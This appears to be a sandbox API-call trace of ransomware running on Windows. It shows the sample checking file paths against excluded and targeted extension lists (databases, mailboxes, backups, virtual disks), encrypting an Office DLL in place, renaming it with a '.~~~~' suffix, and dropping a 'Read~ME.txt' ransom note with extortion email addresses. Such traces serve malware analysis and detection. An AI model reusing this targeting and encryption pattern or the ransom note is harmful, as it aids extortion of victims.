	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".scr") returned 0x0
	[0079.012] lstrlenW (lpString=".cmd") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".cmd") returned 0x0
	[0079.012] lstrlenW (lpString=".dll") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".dll") returned 0x0
	[0079.012] lstrlenW (lpString=".bat") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".bat") returned 0x0
	[0079.012] lstrlenW (lpString=".cpl") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".cpl") returned 0x0
	[0079.012] lstrlenW (lpString=".sys") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".sys") returned 0x0
	[0079.012] lstrlenW (lpString=".msc") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".msc") returned 0x0
	[0079.012] lstrlenW (lpString=".com") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".com") returned 0x0
	[0079.012] lstrlenW (lpString=".lnk") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".lnk") returned 0x0
	[0079.012] lstrlenW (lpString=".msp") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".msp") returned 0x0
	[0079.012] lstrlenW (lpString=".pif") returned 4
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".pif") returned 0x0
	[0079.012] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0079.101] lstrlenW (lpString=".sqb") returned 4
	[0079.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".sqb") returned 0x0
	[0079.101] lstrlenW (lpString=".ost") returned 4
	[0079.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".ost") returned 0x0
	[0079.101] lstrlenW (lpString=".txt") returned 4
	[0079.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".txt") returned 0x0
	[0079.101] lstrlenW (lpString=".mdt") returned 4
	[0079.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".mdt") returned 0x0
	[0079.101] lstrlenW (lpString=".BDB") returned 4
	[0079.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".BDB") returned 0x0
	[0079.101] lstrlenW (lpString=".eql") returned 4
	[0079.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".eql") returned 0x0
	[0079.101] lstrlenW (lpString=".DBF") returned 4
	[0079.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DBF") returned 0x0
	[0079.102] lstrlenW (lpString=".EQL") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".EQL") returned 0x0
	[0079.102] lstrlenW (lpString=".FDB") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".FDB") returned 0x0
	[0079.102] lstrlenW (lpString=".EDB") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".EDB") returned 0x0
	[0079.102] lstrlenW (lpString=".DACPAC") returned 7
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.102] lstrlenW (lpString=".VHD") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".VHD") returned 0x0
	[0079.102] lstrlenW (lpString=".DBV") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DBV") returned 0x0
	[0079.102] lstrlenW (lpString=".dacpac") returned 7
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".dacpac") returned 0x0
	[0079.102] lstrlenW (lpString=".sdf") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".sdf") returned 0x0
	[0079.102] lstrlenW (lpString=".accdb") returned 6
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".accdb") returned 0x0
	[0079.102] lstrlenW (lpString=".DBX") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DBX") returned 0x0
	[0079.102] lstrlenW (lpString=".MDT") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".MDT") returned 0x0
	[0079.102] lstrlenW (lpString=".SQB") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".SQB") returned 0x0
	[0079.102] lstrlenW (lpString=".vhd") returned 4
	[0079.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".vhd") returned 0x0
	[0079.103] lstrlenW (lpString=".bac") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".bac") returned 0x0
	[0079.103] lstrlenW (lpString=".mdf") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".mdf") returned 0x0
	[0079.103] lstrlenW (lpString=".BAK") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".BAK") returned 0x0
	[0079.103] lstrlenW (lpString=".BAC") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".BAC") returned 0x0
	[0079.103] lstrlenW (lpString=".dbs") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".dbs") returned 0x0
	[0079.103] lstrlenW (lpString=".vhdx") returned 5
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".vhdx") returned 0x0
	[0079.103] lstrlenW (lpString=".NDF") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".NDF") returned 0x0
	[0079.103] lstrlenW (lpString=".dat") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".dat") returned 0x0
	[0079.103] lstrlenW (lpString=".DBS") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DBS") returned 0x0
	[0079.103] lstrlenW (lpString=".CKP") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".CKP") returned 0x0
	[0079.103] lstrlenW (lpString=".edb") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".edb") returned 0x0
	[0079.103] lstrlenW (lpString=".PST") returned 4
	[0079.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".PST") returned 0x0
	[0079.104] lstrlenW (lpString=".dbf") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".dbf") returned 0x0
	[0079.104] lstrlenW (lpString=".SQL") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".SQL") returned 0x0
	[0079.104] lstrlenW (lpString=".pst") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".pst") returned 0x0
	[0079.104] lstrlenW (lpString=".dbv") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".dbv") returned 0x0
	[0079.104] lstrlenW (lpString=".SDF") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".SDF") returned 0x0
	[0079.104] lstrlenW (lpString=".dtxs") returned 5
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".dtxs") returned 0x0
	[0079.104] lstrlenW (lpString=".db3") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".db3") returned 0x0
	[0079.104] lstrlenW (lpString=".OST") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".OST") returned 0x0
	[0079.104] lstrlenW (lpString=".dbx") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".dbx") returned 0x0
	[0079.104] lstrlenW (lpString=".DB3") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DB3") returned 0x0
	[0079.104] lstrlenW (lpString=".DAT") returned 4
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DAT") returned 0x0
	[0079.104] lstrlenW (lpString=".VHDX") returned 5
	[0079.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".VHDX") returned 0x0
	[0079.105] lstrlenW (lpString=".ndf") returned 4
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".ndf") returned 0x0
	[0079.105] lstrlenW (lpString=".DB") returned 3
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DB") returned 0x0
	[0079.105] lstrlenW (lpString=".sql") returned 4
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".sql") returned 0x0
	[0079.105] lstrlenW (lpString=".MYD") returned 4
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".MYD") returned 0x0
	[0079.105] lstrlenW (lpString=".DBT") returned 4
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DBT") returned 0x0
	[0079.105] lstrlenW (lpString=".ACCDB") returned 6
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.105] lstrlenW (lpString=".fdb") returned 4
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".fdb") returned 0x0
	[0079.105] lstrlenW (lpString=".bak") returned 4
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".bak") returned 0x0
	[0079.105] lstrlenW (lpString=".myd") returned 4
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".myd") returned 0x0
	[0079.105] lstrlenW (lpString=".DTXS") returned 5
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".DTXS") returned 0x0
	[0079.105] lstrlenW (lpString=".ckp") returned 4
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".ckp") returned 0x0
	[0079.105] lstrlenW (lpString=".dbt") returned 4
	[0079.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".dbt") returned 0x0
	[0079.105] lstrlenW (lpString=".db") returned 3
	[0079.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".db") returned 0x0
	[0079.106] lstrlenW (lpString=".TXT") returned 4
	[0079.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".TXT") returned 0x0
	[0079.106] lstrlenW (lpString=".MDF") returned 4
	[0079.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".MDF") returned 0x0
	[0079.106] lstrlenW (lpString=".bdb") returned 4
	[0079.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".bdb") returned 0x0
	[0079.106] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0079.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.106] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0079.107] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.107] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0079.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0079.107] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19909751983) returned 1
	[0079.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x99035af0, dwHighDateTime=0x1d60e1e)) 
	[0079.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0079.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0079.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0079.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b448
	[0079.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b448 | out: hHeap=0x300000) returned 1
	[0079.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6958
	[0079.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0079.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6958 | out: hHeap=0x300000) returned 1
	[0079.108] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0079.108] GetLastError () returned 0x0
	[0079.108] GetLastError () returned 0x0
	[0079.109] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0079.109] GetLastError () returned 0x0
	[0079.109] GetLastError () returned 0x0
	[0079.109] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0xa388, lpOverlapped=0x0) returned 1
	[0079.115] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff5c78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.115] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xa388, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0xa388, lpOverlapped=0x0) returned 1
	[0079.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.116] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.116] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.116] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.116] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.116] CloseHandle (hObject=0x120) returned 1
	[0079.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0079.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.~~~~")) returned 1
	[0079.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0079.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0079.118] GetLastError () returned 0x0
	[0079.118] RtlWakeConditionVariable () returned 0x365f70
	[0079.118] GetCurrentThreadId () returned 0x3a4
	[0079.118] GetCurrentThreadId () returned 0x3a4
	[0079.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0079.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6e98 | out: hHeap=0x300000) returned 1
	[0079.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b480 | out: hHeap=0x300000) returned 1
	[0079.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6e98
	[0079.118] lstrlenW (lpString=".scr") returned 4
	[0079.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", lpSrch=".scr") returned 0x0
	[0079.118] lstrlenW (lpString=".cmd") returned 4
	[0079.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", lpSrch=".cmd") returned 0x0
	[0079.118] lstrlenW (lpString=".dll") returned 4
	[0079.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll", lpSrch=".dll") returned=".dll"
	[0079.118] lstrlenW (lpString=".dll") returned 4
	[0079.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6e98 | out: hHeap=0x300000) returned 1
	[0079.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0079.119] RtlWakeConditionVariable () returned 0x365f70
	[0079.119] GetCurrentThreadId () returned 0x3a4
	[0079.119] GetCurrentThreadId () returned 0x3a4
	[0079.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0079.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7108 | out: hHeap=0x300000) returned 1
	[0079.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c998 | out: hHeap=0x300000) returned 1
	[0079.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0079.120] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0079.120] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0079.121] CloseHandle (hObject=0x120) returned 1
	[0079.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7108 | out: hHeap=0x300000) returned 1
	[0079.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0079.122] RtlWakeConditionVariable () returned 0x365f70
	[0079.122] GetCurrentThreadId () returned 0x3a4
	[0079.122] GetCurrentThreadId () returned 0x3a4
	[0079.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0079.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b21f8 | out: hHeap=0x300000) returned 1
	[0079.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0a0 | out: hHeap=0x300000) returned 1
	[0079.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b21f8
	[0079.122] lstrlenW (lpString=".scr") returned 4
	[0079.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL", lpSrch=".scr") returned 0x0
	[0079.122] lstrlenW (lpString=".cmd") returned 4
